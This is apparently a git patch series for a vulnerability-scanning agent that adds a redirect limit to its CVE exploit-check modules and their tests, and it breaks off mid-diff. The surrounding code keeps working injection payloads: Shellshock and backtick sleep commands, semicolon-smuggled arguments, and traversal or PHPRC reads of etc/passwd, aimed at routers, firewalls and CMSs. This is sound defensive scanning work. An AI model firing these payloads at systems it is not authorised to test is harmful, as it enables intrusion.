From a1bf0e34f36998e65496eb531e8c9407d5c33ff2 Mon Sep 17 00:00:00 2001 From: Mohamed Elyousfi Date: Tue, 19 Dec 2023 14:18:25 +0100 Subject: [PATCH 01/11] set max_redirects argument --- agent/asteroid_agent.py | 22 ++++++++++++------- agent/exploits/cve_2014_0780.py | 12 +++++++--- agent/exploits/cve_2014_7169.py | 2 ++ agent/exploits/cve_2016_2386.py | 11 ++++++++-- agent/exploits/cve_2018_10561.py | 11 +++++++--- agent/exploits/cve_2018_13382.py | 9 ++++++-- agent/exploits/cve_2018_14558.py | 2 ++ agent/exploits/cve_2018_14667.py | 11 ++++++++-- agent/exploits/cve_2018_7841.py | 10 ++++++--- .../cve_2019_12989__cve_2019_12991.py | 9 ++++++-- agent/exploits/cve_2019_7193.py | 16 ++++++++------ agent/exploits/cve_2021_22941.py | 11 +++++++--- agent/exploits/cve_2021_32648.py | 8 ++++--- agent/exploits/cve_2022_26318.py | 9 ++++++-- agent/exploits/cve_2023_1389.py | 11 ++++++++-- agent/exploits/cve_2023_22518.py | 2 ++ agent/exploits/cve_2023_27997.py | 18 ++++++++++----- agent/exploits/cve_2023_36845.py | 9 ++++++-- 18 files changed, 134 insertions(+), 49 deletions(-) diff --git a/agent/asteroid_agent.py b/agent/asteroid_agent.py index 875a4857..b2dfb76b 100644 --- a/agent/asteroid_agent.py +++ b/agent/asteroid_agent.py @@ -5,6 +5,7 @@ from rich import logging as rich_logging from concurrent import futures +import requests from ostorlab.agent import agent from ostorlab.agent import definitions as agent_definitions from ostorlab.agent.mixins import agent_report_vulnerability_mixin @@ -65,15 +66,20 @@ def process(self, message: m.Message) -> None: for target in targets for exploit in self.exploits ] - for target_vulnz in futures.as_completed(targets_checks): - for vulnerability in target_vulnz.result(): - self.report_vulnerability( - entry=vulnerability.entry, - risk_rating=vulnerability.risk_rating, - vulnerability_location=vulnerability.vulnerability_location, - dna=vulnerability.dna, - technical_detail=vulnerability.technical_detail, + try: + for vulnerability in target_vulnz.result(): + self.report_vulnerability( + entry=vulnerability.entry, + risk_rating=vulnerability.risk_rating, + vulnerability_location=vulnerability.vulnerability_location, + dna=vulnerability.dna, + technical_detail=vulnerability.technical_detail, + ) + except requests.exceptions.TooManyRedirects as e: + logger.error( + "Too many redirects: %s", + e, ) diff --git a/agent/exploits/cve_2014_0780.py b/agent/exploits/cve_2014_0780.py index a84784d8..d5af7fbe 100644 --- a/agent/exploits/cve_2014_0780.py +++ b/agent/exploits/cve_2014_0780.py @@ -18,6 +18,7 @@ DEFAULT_TIMEOUT = 90 DEPTH = 10 +MAX_REDIRECTS = 2 @exploits_registry.register @@ -26,16 +27,19 @@ class CVE20140780Exploit(definitions.Exploit): CVE-2014_0780: Indusoft Web Studio Directory Traversal. """ + def __init__(self) -> None: + self.session = requests.Session() + self.session.max_redirects = MAX_REDIRECTS + def accept(self, target: definitions.Target) -> bool: target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - requests.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) + self.session.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return True def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: - session = requests.Session() target_uri = f"{target.scheme}://{target.host}:{target.port}" file_names = ["boot.ini", "etc/passwd"] for file_name in file_names: @@ -46,7 +50,9 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: r = requests.Request(method="GET", url=url) prep = r.prepare() prep.url = url - response = session.send(prep, verify=False, timeout=DEFAULT_TIMEOUT) + response = self.session.send( + prep, verify=False, timeout=DEFAULT_TIMEOUT + ) except requests.exceptions.RequestException: return [] diff --git a/agent/exploits/cve_2014_7169.py b/agent/exploits/cve_2014_7169.py index a4f8e869..ac1211bb 100644 --- a/agent/exploits/cve_2014_7169.py +++ b/agent/exploits/cve_2014_7169.py @@ -25,6 +25,7 @@ PAYLOAD_TEMPLATE = "() { :;}; /bin/bash -c 'sleep %s'" MAX_DELAY_DIFFERENCE = 5 DELAYS = [30, 40, 50, 60] +MAX_REDIRECTS = 2 @exploits_registry.register @@ -33,6 +34,7 @@ class CVE20147169Exploit(definitions.Exploit): def __init__(self) -> None: self.session = requests.Session() + self.session.max_redirects = MAX_REDIRECTS def accept(self, target: definitions.Target) -> bool: if target.path.endswith(".cgi") is False: diff --git a/agent/exploits/cve_2016_2386.py b/agent/exploits/cve_2016_2386.py index 28d31669..306500d4 100644 --- a/agent/exploits/cve_2016_2386.py +++ b/agent/exploits/cve_2016_2386.py @@ -43,6 +43,7 @@ """ PERMISSION_KEYWORD = "deletePermissionByIdResponse" +MAX_REDIRECTS = 2 @exploits_registry.register @@ -51,9 +52,15 @@ class CVE20162386Exploit(definitions.Exploit): CVE-2016-2386: SAP NetWeaver SQL Injection Vulnerability """ + def __init__(self) -> None: + self.session = requests.Session() + self.session.max_redirects = MAX_REDIRECTS + def accept(self, target: definitions.Target) -> bool: try: - resp = requests.get(target.origin, verify=False, timeout=DEFAULT_TIMEOUT) + resp = self.session.get( + target.origin, verify=False, timeout=DEFAULT_TIMEOUT + ) except requests_exceptions.RequestException: return False server = resp.headers.get("server", "Unknown") @@ -65,7 +72,7 @@ def accept(self, target: definitions.Target) -> bool: def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: try: - resp = requests.post( + resp = self.session.post( urlparse.urljoin(target.origin, TARGET_ENDPOINT), headers=HEADERS, data=PAYLOAD, diff --git a/agent/exploits/cve_2018_10561.py b/agent/exploits/cve_2018_10561.py index 2e309171..6dd082dc 100644 --- a/agent/exploits/cve_2018_10561.py +++ b/agent/exploits/cve_2018_10561.py @@ -16,16 +16,21 @@ ) DEFAULT_TIMEOUT = 90 +MAX_REDIRECTS = 2 @exploits_registry.register class CVE201810562Exploit(definitions.Exploit): """CVE-2018-10562: Dasan GPON Routers Command Injection Vulnerability.""" + def __init__(self) -> None: + self.session = requests.Session() + self.session.max_redirects = MAX_REDIRECTS + def accept(self, target: definitions.Target) -> bool: target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - requests.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) + self.session.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False @@ -44,13 +49,13 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: } try: - requests.post( + self.session.post( target_uri + "/GponForm/diag_Form?images/", data=data, verify=False, timeout=DEFAULT_TIMEOUT, ) - response = requests.get( + response = self.session.get( target_uri + "/diag.html?images/", verify=False, timeout=DEFAULT_TIMEOUT, diff --git a/agent/exploits/cve_2018_13382.py b/agent/exploits/cve_2018_13382.py index e44c8073..460767b9 100644 --- a/agent/exploits/cve_2018_13382.py +++ b/agent/exploits/cve_2018_13382.py @@ -18,6 +18,7 @@ "Connection": "close", "Upgrade-Insecure-Requests": "1", } +MAX_REDIRECTS = 2 @exploits_registry.register @@ -26,10 +27,14 @@ class CVE201813382Exploit(definitions.Exploit): CVE-2018-13382 : An Improper Authorization vulnerability in Fortinet FortiOS. """ + def __init__(self) -> None: + self.session = requests.Session() + self.session.max_redirects = MAX_REDIRECTS + def accept(self, target: definitions.Target) -> bool: try: url = f"{target.scheme}://{target.host}:{target.port}/remote/login?lang=en" - r = requests.get( + r = self.session.get( url, headers=HEADERS, verify=False, timeout=DEFAULT_TIMEOUT ) except requests.exceptions.RequestException: @@ -49,7 +54,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: "credential2": "ChangePassword", } try: - res = requests.post( + res = self.session.post( url, headers=HEADERS, data=data, verify=False, timeout=DEFAULT_TIMEOUT ) except requests.exceptions.RequestException: diff --git a/agent/exploits/cve_2018_14558.py b/agent/exploits/cve_2018_14558.py index 19d6dae7..6de43b35 100644 --- a/agent/exploits/cve_2018_14558.py +++ b/agent/exploits/cve_2018_14558.py @@ -21,6 +21,7 @@ TARGET_PATH = "/goform/setUsbUnload/.js?deviceName=A;" MAX_DELAY_DIFFERENCE = 5 DELAYS = [30, 40, 50, 60] +MAX_REDIRECTS = 2 @exploits_registry.register @@ -29,6 +30,7 @@ class CVE201814558Exploit(definitions.Exploit): def __init__(self) -> None: self.session = requests.Session() + self.session.max_redirects = MAX_REDIRECTS def accept(self, target: definitions.Target) -> bool: target_uri = f"{target.scheme}://{target.host}:{target.port}" diff --git a/agent/exploits/cve_2018_14667.py b/agent/exploits/cve_2018_14667.py index 12365ebb..75910055 100644 --- a/agent/exploits/cve_2018_14667.py +++ b/agent/exploits/cve_2018_14667.py @@ -24,6 +24,7 @@ JST_PATTERN = re.compile(r"JSF/(.*)") UPPER_VULNERABLE_VERSION = version.parse("3.3.4") VERSION_PATTERN = re.compile(r'href="/a4j/s/(\d+_\d+_\d+)\.Final') +MAX_REDIRECTS = 2 @exploits_registry.register @@ -32,9 +33,15 @@ class CVE201814667Exploit(definitions.Exploit): CVE-2018-14667: Red Hat JBoss RichFaces Framework Expression Language Injection Vulnerability """ + def __init__(self) -> None: + self.session = requests.Session() + self.session.max_redirects = MAX_REDIRECTS + def accept(self, target: definitions.Target) -> bool: try: - resp = requests.get(target.origin, verify=False, timeout=DEFAULT_TIMEOUT) + resp = self.session.get( + target.origin, verify=False, timeout=DEFAULT_TIMEOUT + ) except requests_exceptions.RequestException: return False @@ -46,7 +53,7 @@ def accept(self, target: definitions.Target) -> bool: return JST_PATTERN.search(jsf_header) is not None def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: - resp = requests.get( + resp = self.session.get( target.origin, timeout=DEFAULT_TIMEOUT, ) diff --git a/agent/exploits/cve_2018_7841.py b/agent/exploits/cve_2018_7841.py index b1f1f164..068c3991 100644 --- a/agent/exploits/cve_2018_7841.py +++ b/agent/exploits/cve_2018_7841.py @@ -18,6 +18,7 @@ MAX_DELAY_DIFFERENCE = 5 DELAYS = [30, 40, 50, 60] TARGET_ENDPOINT = "/smartdomuspad/modules/reporting/track_import_export.php" +MAX_REDIRECTS = 2 @exploits_registry.register @@ -26,22 +27,25 @@ class CVE20187841Exploit(definitions.Exploit): CVE-2018-7841: Schneider Electric U.motion Builder SQL Injection Vulnerability """ + def __init__(self) -> None: + self.session = requests.Session() + self.session.max_redirects = MAX_REDIRECTS + def accept(self, target: definitions.Target) -> bool: target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - resp = requests.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) + resp = self.session.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return resp.status_code == 200 def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: target_uri = f"{target.scheme}://{target.host}:{target.port}" - session = requests.Session() for delay in DELAYS: data = f"op=export&language=english&interval=1&object_id=`sleep {delay}`" try: - resp = session.post( + resp = self.session.post( target_uri + TARGET_ENDPOINT, timeout=DEFAULT_TIMEOUT, data=data, diff --git a/agent/exploits/cve_2019_12989__cve_2019_12991.py b/agent/exploits/cve_2019_12989__cve_2019_12991.py index 43a127fe..1e2bc988 100644 --- a/agent/exploits/cve_2019_12989__cve_2019_12991.py +++ b/agent/exploits/cve_2019_12989__cve_2019_12991.py @@ -16,6 +16,7 @@ DEFAULT_TIMEOUT = 90 HEADERS = {"SSL_CLIENT_VERIFY": "SUCCESS"} +MAX_REDIRECTS = 2 logger = logging.getLogger(__name__) @@ -26,10 +27,14 @@ class CVE201912989Exploit(definitions.Exploit): CVE-2019-12989 and CVE-2019-12991 : Security Vulnerabilities in Citrix SD-WAN . """ + def __init__(self) -> None: + self.session = requests.Session() + self.session.max_redirects = MAX_REDIRECTS + def accept(self, target: definitions.Target) -> bool: target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - requests.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) + self.session.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return True @@ -52,7 +57,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: } } try: - r = requests.post( + r = self.session.post( url, headers=HEADERS, json=json, verify=False, timeout=DEFAULT_TIMEOUT ) except requests.exceptions.RequestException as e: diff --git a/agent/exploits/cve_2019_7193.py b/agent/exploits/cve_2019_7193.py index 05d15b83..4e3d8fd7 100644 --- a/agent/exploits/cve_2019_7193.py +++ b/agent/exploits/cve_2019_7193.py @@ -19,6 +19,7 @@ DEFAULT_TIMEOUT = 90 HEADERS = {"User-Agent": "Gundy - QNAP RCE"} TARGET_FILE = "./../../../../../etc/passwd" +MAX_REDIRECTS = 2 @exploits_registry.register @@ -27,22 +28,23 @@ class CVE20197193Exploit(definitions.Exploit): CVE-2019-7193: QNAP QTS Improper Input Validation Vulnerability """ + def __init__(self) -> None: + self.session = requests.Session() + self.session.max_redirects = MAX_REDIRECTS + def accept(self, target: definitions.Target) -> bool: target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - resp = requests.get( - target_uri + "/cgi-bin/", verify=False, timeout=DEFAULT_TIMEOUT - ) + resp = self.session.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return resp.status_code == 200 def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: target_uri = f"{target.scheme}://{target.host}:{target.port}" - session = requests.Session() # Get album id - resp = session.post( + resp = self.session.post( target_uri + "/photo/p/api/album.php", data={"a": "setSlideshow", "f": "qsamplealbum"}, headers=HEADERS, @@ -57,7 +59,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: album_id = album_match.group() # Get access code - resp = session.get( + resp = self.session.get( target_uri + "/photo/slideshow.php?album=" + album_id, headers=HEADERS, verify=False, @@ -78,7 +80,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: "f": "UMGObv", "filename": TARGET_FILE, } - resp = session.post( + resp = self.session.post( target_uri + "/photo/p/api/video.php", data=post_data, headers=HEADERS, diff --git a/agent/exploits/cve_2021_22941.py b/agent/exploits/cve_2021_22941.py index aca7cdb9..b48e6605 100644 --- a/agent/exploits/cve_2021_22941.py +++ b/agent/exploits/cve_2021_22941.py @@ -18,6 +18,7 @@ ) DEFAULT_TIMEOUT = 90 +MAX_REDIRECTS = 2 def _encode_multipart_formdata(files: dict[str, str]) -> tuple[str, str]: @@ -36,10 +37,14 @@ def _encode_multipart_formdata(files: dict[str, str]) -> tuple[str, str]: class CVE20212941Exploit(definitions.Exploit): """CVE-2021-22941: Improper Access Control in Citrix ShareFile storage zones controller.""" + def __init__(self) -> None: + self.session = requests.Session() + self.session.max_redirects = MAX_REDIRECTS + def accept(self, target: definitions.Target) -> bool: target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - req = requests.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) + req = self.session.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return "ShareFile" in req.text @@ -57,7 +62,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: "accountid": "123", } try: - requests.post( + self.session.post( target_uri + "/upload.aspx", data=data, params=params, @@ -65,7 +70,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: verify=False, timeout=DEFAULT_TIMEOUT, ) - req = requests.get( + req = self.session.get( target_uri + "/configservice/Home/Error", verify=False, timeout=DEFAULT_TIMEOUT, diff --git a/agent/exploits/cve_2021_32648.py b/agent/exploits/cve_2021_32648.py index 1ccc8e78..0d99c33d 100644 --- a/agent/exploits/cve_2021_32648.py +++ b/agent/exploits/cve_2021_32648.py @@ -21,6 +21,7 @@ PASSWORD_PATH = "/backend/backend/auth/reset/1" SIGNIN_PATH = "/backend/backend/auth/signin" FAILED_LOGIN = "The details you entered did not match our records. Please double-check and try again." +MAX_REDIRECTS = 2 logger = logging.getLogger(__name__) @@ -31,13 +32,14 @@ class CVE202132648Exploit(definitions.Exploit): October CMS Improper Authentication: CVE-2021-32648. """ - session = requests.Session() - session.verify = False + def __init__(self) -> None: + self.session = requests.Session() + self.session.max_redirects = MAX_REDIRECTS def accept(self, target: definitions.Target) -> bool: try: url = f"{target.scheme}://{target.host}:{target.port}" - r = requests.get(url, verify=False, timeout=DEFAULT_TIMEOUT) + r = self.session.get(url, verify=False, timeout=DEFAULT_TIMEOUT) except requests.exceptions.RequestException: return False return r.status_code == 200 and "october_session" in r.headers.get( diff --git a/agent/exploits/cve_2022_26318.py b/agent/exploits/cve_2022_26318.py index d30bd4ef..a412c127 100644 --- a/agent/exploits/cve_2022_26318.py +++ b/agent/exploits/cve_2022_26318.py @@ -18,6 +18,7 @@ ) DEFAULT_TIMEOUT = 90 +MAX_REDIRECTS = 2 @exploits_registry.register @@ -26,10 +27,14 @@ class CVE202226318Exploit(definitions.Exploit): CVE-2022_26318": WatchGuard Firebox and XTM Appliances Arbitrary Code Execution """ + def __init__(self) -> None: + self.session = requests.Session() + self.session.max_redirects = MAX_REDIRECTS + def accept(self, target: definitions.Target) -> bool: target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - requests.get( + self.session.get( target_uri + "/agent/login", verify=False, timeout=DEFAULT_TIMEOUT ) except requests_exceptions.RequestException: @@ -43,7 +48,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: "Content-Encoding": "gzip", } try: - response = requests.post( + response = self.session.post( target_uri + "/agent/login", headers=headers, data=payload, diff --git a/agent/exploits/cve_2023_1389.py b/agent/exploits/cve_2023_1389.py index 8ab2080c..352804a8 100644 --- a/agent/exploits/cve_2023_1389.py +++ b/agent/exploits/cve_2023_1389.py @@ -18,16 +18,23 @@ DEFAULT_TIMEOUT = 90 +MAX_REDIRECTS = 2 @exploits_registry.register class CVE20231389Exploit(definitions.Exploit): """CVE-2023-1389: Remote Code Execution in TP-Link AX21.""" + def __init__(self) -> None: + self.session = requests.Session() + self.session.max_redirects = MAX_REDIRECTS + def accept(self, target: definitions.Target) -> bool: target_uri = f"{target.scheme}://{target.host}:{target.port}/cgi-bin/luci/" try: - response = requests.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) + response = self.session.get( + target_uri, verify=False, timeout=DEFAULT_TIMEOUT + ) return response.status_code == 200 except requests_exceptions.RequestException: return False @@ -35,7 +42,7 @@ def accept(self, target: definitions.Target) -> bool: def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - response = requests.get( + response = self.session.get( target_uri + "/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(notfound)", verify=False, diff --git a/agent/exploits/cve_2023_22518.py b/agent/exploits/cve_2023_22518.py index 8aa136f2..f15d112c 100644 --- a/agent/exploits/cve_2023_22518.py +++ b/agent/exploits/cve_2023_22518.py @@ -39,6 +39,7 @@ (version.parse("8.4.0"), version.parse("8.4.2")), (version.parse("8.5.0"), version.parse("8.5.1")), ] +MAX_REDIRECTS = 2 @exploits_registry.register @@ -49,6 +50,7 @@ class CVE202322518Exploit(definitions.Exploit): def __init__(self) -> None: self.session = requests.Session() + self.session.max_redirects = MAX_REDIRECTS def accept(self, target: definitions.Target) -> bool: try: diff --git a/agent/exploits/cve_2023_27997.py b/agent/exploits/cve_2023_27997.py index b14a2eb8..e982171a 100644 --- a/agent/exploits/cve_2023_27997.py +++ b/agent/exploits/cve_2023_27997.py @@ -26,6 +26,7 @@ DEFAULT_TIMEOUT = 90 REQUESTS_PER_GROUP = 400 +MAX_REDIRECTS = 2 def _gen_enc_hdr(salt: bytes, l: int) -> str: @@ -68,10 +69,14 @@ def _check_stats(regular: list[int], overflow: list[int]) -> tuple[int, int, Any class CVE202327997Exploit(definitions.Exploit): """CVE-2021-22941: A heap-based buffer overflow vulnerability in FortiOS.""" + def __init__(self) -> None: + self.session = requests.Session() + self.session.max_redirects = MAX_REDIRECTS + def accept(self, target: definitions.Target) -> bool: target_uri = f"{target.scheme}://{target.host}:{target.port}:{target.port}" try: - req = requests.get( + req = self.session.get( target_uri + "/remote/info", verify=False, timeout=DEFAULT_TIMEOUT ) reg = re.compile("salt='([0-9a-f]{8})'") @@ -82,7 +87,7 @@ def accept(self, target: definitions.Target) -> bool: def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: target_uri = f"{target.scheme}://{target.host}:{target.port}" - r = requests.get( + r = self.session.get( target_uri + "/remote/info", verify=False, timeout=DEFAULT_TIMEOUT ) reg = re.compile("salt='([0-9a-f]{8})'") @@ -96,13 +101,16 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: overflow = [] regular = [] - s = requests.Session() for i in range(REQUESTS_PER_GROUP): - req1 = _make_request(s, target_uri, salt, alloc_size, alloc_size + 0xF0) + req1 = _make_request( + self.session, target_uri, salt, alloc_size, alloc_size + 0xF0 + ) overflow.append(req1.elapsed.microseconds) - req2 = _make_request(s, target_uri, salt, alloc_size, alloc_size // 2) + req2 = _make_request( + self.session, target_uri, salt, alloc_size, alloc_size // 2 + ) regular.append(req2.elapsed.microseconds) if i > 20 and i % 10 == 0: diff --git a/agent/exploits/cve_2023_36845.py b/agent/exploits/cve_2023_36845.py index 7ff95ae0..1e557d93 100644 --- a/agent/exploits/cve_2023_36845.py +++ b/agent/exploits/cve_2023_36845.py @@ -35,6 +35,7 @@ "auto_prepend_file": (None, "/etc/passwd\n"), "PHPRC": (None, "/dev/fd/0"), } +MAX_REDIRECTS = 2 @exploits_registry.register @@ -43,10 +44,14 @@ class CVE202336845Exploit(definitions.Exploit): CVE-2023–36845: Juniper Junos OS EX Series and SRX Series PHP External Variable Modification Vulnerability """ + def __init__(self) -> None: + self.session = requests.Session() + self.session.max_redirects = MAX_REDIRECTS + def accept(self, target: definitions.Target) -> bool: target_uri = f"{target.scheme}://{target.host}:{target.port}{target.path}" try: - resp = requests.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) + resp = self.session.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return resp.status_code == 200 and JUNIPER_KEYWORD in resp.text @@ -55,7 +60,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: target_uri = f"{target.scheme}://{target.host}:{target.port}{target.path}" try: - resp = requests.post( + resp = self.session.post( target_uri, files=PAYLOAD, verify=False, timeout=DEFAULT_TIMEOUT ) except requests_exceptions.RequestException: From 27ed7f2498e0e122a3e7b8c849cf5eab848ca0a5 Mon Sep 17 00:00:00 2001 From: Mohamed Elyousfi Date: Tue, 19 Dec 2023 14:18:34 +0100 Subject: [PATCH 02/11] unit tests --- tests/asteroid_agent_test.py | 18 ++++++++++++++++++ tests/exploits/cve_2014_0780_test.py | 2 +- tests/exploits/cve_2014_7169_test.py | 1 + tests/exploits/cve_2016_2386_test.py | 1 + tests/exploits/cve_2018_10561_test.py | 1 + tests/exploits/cve_2018_13382_test.py | 1 + tests/exploits/cve_2018_14558_test.py | 1 + tests/exploits/cve_2018_14667_test.py | 1 + tests/exploits/cve_2018_7841_test.py | 1 + .../cve_2019_12989_cve_2019_12997_test.py | 1 + tests/exploits/cve_2019_7193_test.py | 1 + tests/exploits/cve_2021_22941_test.py | 1 + tests/exploits/cve_2021_32648_test.py | 1 + tests/exploits/cve_2022_26318_test.py | 1 + tests/exploits/cve_2023_1389_test.py | 1 + tests/exploits/cve_2023_22518_test.py | 1 + tests/exploits/cve_2023_27997_test.py | 1 + tests/exploits/cve_2023_36845_test.py | 1 + 18 files changed, 35 insertions(+), 1 deletion(-) diff --git a/tests/asteroid_agent_test.py b/tests/asteroid_agent_test.py index 3772617e..1853637e 100644 --- a/tests/asteroid_agent_test.py +++ b/tests/asteroid_agent_test.py @@ -19,3 +19,21 @@ def testAsteroidAgent_whenExploitCheckDetectVulnz_EmitsVulnerabilityReport( assert len(agent_mock) == 1 assert agent_mock[0].selector == "v3.report.vulnerability" + + +def testAsteroidAgent_whenTooManyRedirects_doesNotCrash( + exploit_instance_with_report: Generator[Type[definitions.Exploit], None, None], + asteroid_agent_instance: asteroid_agent.AsteroidAgent, + agent_mock: list[m.Message], +) -> None: + """Ensure that the agent does not crash when there are too many redirects.""" + msg = m.Message( + selector="v3.asset.link", + data={"url": "https://expediaagents.com", "method": "GET"}, + raw=b"\n\x19https://expediaagents.com\x12\x03GET", + ) + + asteroid_agent_instance.process(msg) + + assert len(agent_mock) == 1 + assert agent_mock[0].selector == "v3.report.vulnerability" diff --git a/tests/exploits/cve_2014_0780_test.py b/tests/exploits/cve_2014_0780_test.py index ea49ab1b..af0b5021 100644 --- a/tests/exploits/cve_2014_0780_test.py +++ b/tests/exploits/cve_2014_0780_test.py @@ -1,5 +1,4 @@ """Unit tests for Agent Asteriod: CVE-2014_0780.""" - import requests_mock as req_mock from agent import definitions @@ -60,3 +59,4 @@ def testCVE20140780_whenNotVulnerable_noFindingsReported( vulnerabilities = exploit_instance.check(target) assert len(vulnerabilities) == 0 + assert exploit_instance.session.max_redirects == 2 diff --git a/tests/exploits/cve_2014_7169_test.py b/tests/exploits/cve_2014_7169_test.py index 26294aa4..be6b8f15 100644 --- a/tests/exploits/cve_2014_7169_test.py +++ b/tests/exploits/cve_2014_7169_test.py @@ -60,3 +60,4 @@ def side_effect(*args, **kwargs): # type: ignore[no-untyped-def] vulnerabilities = exploit_instance.check(target) assert len(vulnerabilities) == 0 + assert exploit_instance.session.max_redirects == 2 diff --git a/tests/exploits/cve_2016_2386_test.py b/tests/exploits/cve_2016_2386_test.py index e9216565..c449ce5b 100644 --- a/tests/exploits/cve_2016_2386_test.py +++ b/tests/exploits/cve_2016_2386_test.py @@ -32,6 +32,7 @@ def testCVE20162386_whenVulnerable_reportFinding( "SQL Injection Vulnerability" ) assert vulnerability.risk_rating.name == "CRITICAL" + assert exploit_instance.session.max_redirects == 2 def testCVE20162386_whenSafe_reportNothing( diff --git a/tests/exploits/cve_2018_10561_test.py b/tests/exploits/cve_2018_10561_test.py index 4d14679f..b73264db 100644 --- a/tests/exploits/cve_2018_10561_test.py +++ b/tests/exploits/cve_2018_10561_test.py @@ -35,3 +35,4 @@ def testCVE_2021_22941_whenVulnerable_reportFinding( "test3.txt\n" "```\n" ) + assert exploit_instance.session.max_redirects == 2 diff --git a/tests/exploits/cve_2018_13382_test.py b/tests/exploits/cve_2018_13382_test.py index c19c225a..b36da366 100644 --- a/tests/exploits/cve_2018_13382_test.py +++ b/tests/exploits/cve_2018_13382_test.py @@ -48,3 +48,4 @@ def testCVE201813382_whenNotVulnerable_noFindingsReported( vulnerabilities = exploit_instance.check(target) assert len(vulnerabilities) == 0 + assert exploit_instance.session.max_redirects == 2 diff --git a/tests/exploits/cve_2018_14558_test.py b/tests/exploits/cve_2018_14558_test.py index 6f41d85a..80a2463f 100644 --- a/tests/exploits/cve_2018_14558_test.py +++ b/tests/exploits/cve_2018_14558_test.py @@ -55,3 +55,4 @@ def side_effect(*args, **kwargs): # type: ignore[no-untyped-def] vulnerabilities = exploit_instance.check(target) assert len(vulnerabilities) == 0 + assert exploit_instance.session.max_redirects == 2 diff --git a/tests/exploits/cve_2018_14667_test.py b/tests/exploits/cve_2018_14667_test.py index 20629ab6..32c4576b 100644 --- a/tests/exploits/cve_2018_14667_test.py +++ b/tests/exploits/cve_2018_14667_test.py @@ -39,6 +39,7 @@ def testCVE201814667_whenVulnerable_reportFinding( "RichFaces Framework Expression Language Injection Vulnerability" ) assert vulnerability.risk_rating.name == "CRITICAL" + assert exploit_instance.session.max_redirects == 2 def testCVE201814667_whenSafe_reportNothing( diff --git a/tests/exploits/cve_2018_7841_test.py b/tests/exploits/cve_2018_7841_test.py index b6dc5080..c8ad6edd 100644 --- a/tests/exploits/cve_2018_7841_test.py +++ b/tests/exploits/cve_2018_7841_test.py @@ -56,3 +56,4 @@ def side_effect(*args, **kwargs): # type: ignore[no-untyped-def] vulnerabilities = exploit_instance.check(target) assert len(vulnerabilities) == 0 + assert exploit_instance.session.max_redirects == 2 diff --git a/tests/exploits/cve_2019_12989_cve_2019_12997_test.py b/tests/exploits/cve_2019_12989_cve_2019_12997_test.py index c94caa6c..80c41b8e 100644 --- a/tests/exploits/cve_2019_12989_cve_2019_12997_test.py +++ b/tests/exploits/cve_2019_12989_cve_2019_12997_test.py @@ -67,3 +67,4 @@ def test_CVE_2019_12989_and_CVE_2019_12991_whenJsonNotValide_noFindingsReported( vulnerabilities = exploit_instance.check(target) assert len(vulnerabilities) == 0 + assert exploit_instance.session.max_redirects == 2 diff --git a/tests/exploits/cve_2019_7193_test.py b/tests/exploits/cve_2019_7193_test.py index 7a1e45a6..fcf3ad9a 100644 --- a/tests/exploits/cve_2019_7193_test.py +++ b/tests/exploits/cve_2019_7193_test.py @@ -54,3 +54,4 @@ def testCVE20197193_whenSafe_reportNothing( vulnerabilities = exploit_instance.check(target) assert len(vulnerabilities) == 0 + assert exploit_instance.session.max_redirects == 2 diff --git a/tests/exploits/cve_2021_22941_test.py b/tests/exploits/cve_2021_22941_test.py index 4eb6ef26..b90fd238 100644 --- a/tests/exploits/cve_2021_22941_test.py +++ b/tests/exploits/cve_2021_22941_test.py @@ -39,3 +39,4 @@ def testCVE_2021_22941_whenVulnerable_reportFinding( == "https://75.162.65.52 is vulnerable to CVE-2021-22941, Improper Access Control " "in Citrix ShareFile storage zones controller." ) + assert exploit_instance.session.max_redirects == 2 diff --git a/tests/exploits/cve_2021_32648_test.py b/tests/exploits/cve_2021_32648_test.py index 27ecebad..73657f91 100644 --- a/tests/exploits/cve_2021_32648_test.py +++ b/tests/exploits/cve_2021_32648_test.py @@ -52,3 +52,4 @@ def testCVE202132648_whenNotVulnerable_noFindingsReported( vulnerabilities = exploit_instance.check(target) assert len(vulnerabilities) == 0 + assert exploit_instance.session.max_redirects == 2 diff --git a/tests/exploits/cve_2022_26318_test.py b/tests/exploits/cve_2022_26318_test.py index ec4bb4b1..ef54133d 100644 --- 